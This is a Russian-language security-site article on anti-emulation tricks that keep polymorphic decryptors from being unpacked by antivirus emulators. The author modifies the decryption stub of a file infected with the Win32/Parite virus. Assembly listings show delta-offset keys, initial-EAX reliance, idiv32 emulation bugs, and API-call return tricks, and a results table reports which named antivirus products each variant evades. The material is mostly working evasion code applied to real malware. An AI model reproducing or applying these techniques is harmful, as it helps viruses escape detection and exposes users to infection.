|
ВОССТАНОВЛЕНИЕ ИНФОРМАЦИИ С РАЗЛИЧНЫХ НАКОПИТЕЛЕЙ В КИЕВЕ уход за растениями - озеленение - фитодизайн |
|
http://kiev-security.org.ua
Содержание
1. Вступление 2. Несколько слов о процедурах эмуляции кода 3. Шах и мат в две инструкции 4. История с продолжением 5. Старые песни о главном 6. Против лома нет приема ... 7. Заключение
Генераторы полиморфных шифровщиков/расшифровщиков очень часто используются для защиты исполняемых файлов (полностью либо частично) и во многих компьютерных вирусах. Для того, что бы усложнить процесс создания утилит, предназначенных для автоматического снятия защит такого рода, и обнаружения вирусов используются различные алгоритмы, называемые анти-эмуляционными трюками. Этим алгоритмам и будет посвящена данная статья.
Тестирование трюков будет производиться на антивирусных программах, которые, бесспорно, содержат самые совершенные реализации эмуляторов кода. Таким образом, мы оценим качество эмуляторов следующих антивирусов:
2. Несколько слов о процедурах эмуляции кода
В том случае, если алгоритм расшифровки данных присутствует в файле, единственным способом автоматической расшифровки является эмуляция. Процесс эмуляции может быть выполнен двумя способами:
Первый способ в "чистом виде" использовать достаточно опасно, к тому же процесс трассировки обнаружить и "обломать" не составляет особого труда. Если использовать второй способ, то процесс эмуляции программы будет занимать достаточно большой промежуток времени и разработка стабильно работающей версии займет "века". Именно по этому используют комбинацию двух вышеописанных способов.
Конечно же, есть "вещи" имитацию которых реализовать достаточно тяжело (почти невозможно). Имея небольшой опыт в разработке эмуляторов кода, я могу предположить, какие области являются наиболее сложными и могут быть реализованы с ошибками или вообще не реализованы. Но чтобы знать наверняка, проверим предположения на практике.
Перед процессом эмуляции, исследуемая программа читается в буфер, и для "опасных" (подозрительных) участков кода эмулятор производит полную имитацию выполнения, "безопасные" же инструкции или участки кода запускаются "напрямую". Все это означает, что местоположение эмулируемой программы в памяти изменяется. Таким образом, можно попытаться запутать эмулятор, если определить текущее местоположение и:
Если Вы решили использовать первый вариант, в случае не совпадения положения кода, можно направить эмулятор по "ложному следу". Но такой конструкции (алгоритма вычисления смещения и сравнения его с оригинальным) будет достаточно, чтобы считать ее сигнатурой свойственной данному типу расшифровщика. Таким образом, анализатор кода, использующийся в эмуляторе обнаружит эту конструкцию и использует специальный прием для "правильной" эмуляции участка.
Второй вариант можно рассмотреть подробнее и проще будет сделать это "на практике". Так как писать специальную утилиту для тестов мне лень, понадобится следующее:
Загрузим инфицированный файл в отладчик и рассмотрим процедуру расшифровки вирусного кода:
0040E000 start: nop 0040E001 push 3786Fh ; ecx - ключ необходимый для расшифровки 0040E006 pop ecx 0040E007 nop 0040E008 nop 0040E009 mov esi, offset crypted_code-4 0040E00E nop 0040E00F mov edx, 598h 0040E014 nop 0040E015 decrypt_loop: push dword ptr [edx+esi] 0040E018 xor [esp], ecx 0040E01B pop dword ptr [edx+esi] 0040E01E nop 0040E01F sub edx, 2 0040E022 sub edx, 2 0040E025 nop 0040E026 jnz short decrypt_loop 0040E028 crypted_code:
После небольших изменений, расшифровщик вирусного кода будет выглядеть следующим образом:
0040E000 start: call $+5 0040E005 pop ecx ; ecx = 40E005h 0040E006 sub ecx, 3D6796h ; 40E005h - 3D6796h = 3786F 0040E00C mov esi, offset crypted_code-4 0040E011 mov edx, 598h 0040E016 decrypt_loop: push dword ptr [edx+esi] 0040E019 xor [esp], ecx 0040E01C pop dword ptr [edx+esi] 0040E01F sub edx, 2 0040E022 sub edx, 2 0040E025 nop 0040E026 jnz short decrypt_loop 0040E028 crypted_code:
Я думаю, суть изменений Вам понятна, ну а если нет, то я немного поясню.
Для расчета ключа (в данном случае он содержится в регистре ECX) будет использоваться текущее местоположение кода в памяти. В том случае, если оно будет отличаться от оригинала, вирусный код будет расшифрован неправильно и антивирус не обнаружит сигнатуру свойственную данному или любому другому вирусу.
Но в том случае, если анализатор кода не обнаружит наличие конкретного вируса, в дело вступает эвристический анализатор. Если будут обнаружены особенности строения, свойственные исполняемым файлам, зараженным вирусами (например, если точка входа находится в последней секции и секция имеет атрибуты, позволяющие "запись"), эвристический анализатор может выдать подозрение о наличии в файле Win32 - вируса. Но это нас не должно волновать, мы же тестируем эмуляторы.
Проведенное тестирование показало, что обмануть не получается только эмуляторы антивирусов Doctor Web и NAV, остальные молчат как партизаны.
Ходит слух, что начальное значение регистра EAX, при загрузке всех win32 программ одинаковое. Этим значением является местоположение точки входа, в памяти. Я не проверял достоверность этой информации во всех версиях Windows, так что утверждать со 100% гарантией, насчет правдивости данной информации не могу. Но, так же, я не встречался со случаями, когда данное утверждение было неверным.
Видоизменим расшифровщик вирусного кода, чтобы он принял следующий вид:
0040E000 start: sub eax, 3D6791h ; 40E000 - 3D6791 = 3786F 0040E006 mov ecx, eax 0040E008 nop 0040E009 nop 0040E00A nop 0040E00B nop 0040E00C mov esi, crypted_code-4 0040E011 mov edx, 598h 0040E016 decrypt_loop: push dword ptr [edx+esi] 0040E019 xor [esp], ecx 0040E01C pop dword ptr [edx+esi] 0040E01F sub edx, 2 0040E022 sub edx, 2 0040E025 nop 0040E026 jnz short decrypt_loop 0040E028 crypted_code:
Проведенный тест показал, что антивирусы, которые не попались на предыдущий трюк, вышли "сухими из воды" и на этот раз. Так же не удалось обмануть и "народный антивирус" - AVP. Это говорит о том, что перед процессом эмуляции win32 программ, все антивирусные программы устанавливают значение регистра EAX, равным точке входа в программу, но из других источников так же известно, что :
" В EAX должен быть ноль, как результат вызова ntdll.NtSetInformationThread, после которого сразу вызывается точка входа модуля. "
Получается, что антивирусы неправильно эмулируют выполнение win32 программ? ;)
В далеком 2000 году, программистом, известным мировой общественности под псевдонимом Z0MBiE, была написана очень интересная статья, посвященная корректности "работы" эмуляторов, антивирусных программ Doctor Web и AVP с инструкциями div8/16/32, idiv8/16/32.
В результате проведенного дизассемблирования, процедур эмуляторов, отвечающих за имитацию выполнения этих инструкций (прокомментированные листинги так же были приведены в этой статье), было доказано, что эмуляция инструкции idiv32 (8/16/32) происходит неправильно в обеих программах.
С момента публикации данной статьи прошло уже 4 года, но так как она не попала в широкую общественность, я решил проверить, исправили ли авторы данных программ ошибки, а за одно и посмотреть, как с процессом эмуляции данной инструкции справляются другие антивирусы.
Для тестирования была выбрана инструкция idiv32.
Если в процедуре имитации выполнения данной инструкции присутствует ошибка, то в зависимости от значений параметров (делимого и делителя), могут возникнуть следующие ситуации :
Для того, чтобы рассмотреть реакцию эмуляторов на различные значения параметров, была написана небольшая утилита (исходный текст доступен в примерах), которая создает файлы инфицированные win32/parite, с расшифровщиками вида :
; в нашем случае: ; ( 599h ) <= X <= ((0FFFFFFFFh - 598h) / 3786Fh ) ; (( 3786Fh * 599h ) + 598h ) <= Y <= ( 0FFFFFFFFh ) ; 0040E000 start: sub edx, edx 0040E002 mov eax, Y ; Y = ( 3786Fh * X ) + 598h 0040E007 mov ecx, X 0040E00C idiv ecx ; edx - остаток = 598h 0040E00E xchg eax, ecx ; eax <-> ecx 0040E00F nop 0040E010 mov esi, offset crypted_code-4 0040E015 decrypt_loop: push dword ptr [edx+esi] 0040E018 xor [esp], ecx 0040E01B pop dword ptr [edx+esi] 0040E01E nop 0040E01F sub edx, 2 0040E022 sub edx, 2 0040E025 nop 0040E026 jnz short decrypt_loop 0040E028 crypted_code:
Тест показал, что:
Операционная система Windows произвела взаимовыгодный обмен прерываний (которые в Dos'е очень активно использовались, для обмана всех и вся) на функции API (Application Programming Interface).
Допустим, что мы используем генератор полиморфных (раc) шифровщиков для защиты исполняемых файлов. Каждый из "защищаемых" файлов импортирует функции API из различных библиотек, а вся информация об импорте, содержится в исполняемом файле.
Для формирования вызова функции, необходимо знать:
Как Вы знаете, каждая из функций API, требует различных параметров для работы, которые должны быть загружены в стек. Помимо параметров, непосредственно используемых той или иной функцией, есть параметр, указывающий смещение, на которое будет передано управление после вызова функции. Об этом параметре мало кто знает, потому что компиляторы генерируют вызовы функций следующим образом:
... call _GetTickCount continue: ... ; ; Смещение "xxxxxxxxh" указывает, на dword, который при загрузке программы ; в память, будет содержать точку входа в функцию GetTickCount ; _GetTickCount: jmp dword ptr [xxxxxxxxh]Инструкция CALL заносит в стек смещение (в данном случае "continue") следующей инструкции, ну а затем JMP вызывает функцию (GetTickCount). Вызванный сервис использует необходимое количество параметров из стека, для выполнения своего назначения и предает управление на смещение, которое было загружено инструкцией CALL, в качестве последнего параметра.
; ; пусть осуществляется обращение к функции использующей один параметр, например CloseHandle. ; ereg/value - любой 32-х битный регистр или значение. ; ; по смещению "xxxxxxxxh" расположено местоположение вызываемой функции API в памяти. ; ... процесс расшифровки кода ... push ereg/value push offset continue jmp dword ptr [xxxxxxxxh] ... ; мусорные инструкции ret ; прощай эмулятор ... continue: ... продолжение процесса расшифровки ...
Мы загрузили необходимое количество параметров (в данном случае 1), необходимых для работы функции и смещение, на которое будет передано управление. Результат работы вызванной функции CloseHandle нас не интересует вообще (следовательно и состояние параметров, кроме смещения, необходимого для возврата), главное, что в любом случае, после выполнения функции переход будет осуществлен к метке continue. "Под эмулятором", переход произойдет только при выполнении инструкции ret.
Главное не использовать генерацию вызовов API функций, пишущих информацию по смещениям, указанных в параметрах.
Теперь готовимся к тестированию на "живце". Для вставки простейшей реализации трюка в расшифровщик нам понадобятся:
В списке импортируемых функций зараженной программы, значится GetCommandLineA. Это не может не радовать, так как эта функция не нуждается в параметрах, а в нашем случае (когда свободного места в расшифровщике мало) это очень важно. Кроме того, она не выполняет никаких "вредных" действий.
При загрузке программы, информация о положении этого сервиса будет расположена по смещению 400000h (Image Base) + 630Eh.
Перед вставкой вызова функции GetCommandLineA, была изменена структура расшифровщика и произведена некоторая оптимизация.
0040E000 push offset decrypt_start 0040E005 jmp dword ptr [4063E0h] 0040E00B retn ; прощайте эмуляторы 0040E00C decrypt_start: mov esi, offset crypted_code-4 0040E011 mov edx, 598h 0040E016 decrypt_loop: push dword ptr [edx+esi] 0040E019 xor dword ptr [esp], 3786Fh 0040E020 pop dword ptr [edx+esi] 0040E023 sub edx, 4 0040E026 jnz short decrypt_loop 0040E028 crypted_code:
Как я и ожидал, ни один из антивирусов не определил наличие вируса win32/parite в зараженных файлах, измененных таким образом.
Настало время подвести итоги тестирования:
delta value |
начальное значение eax |
idiv32 |
вызов функций API |
оценка |
|
Doctor Web 4.30a | + | + | + | - | 3 |
Norton Antivirus 2004 | + | + | + | - | 3 |
Kaspersky Anti-virus (AVP) v3.5.133.0 | - | + | + / - | - | 1+ |
Stop! Scanner 5.0 | - | - | - | - | 0 |
Panda Antivirus Titanium 2004 | - | - | - | - | 0 |
<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a> |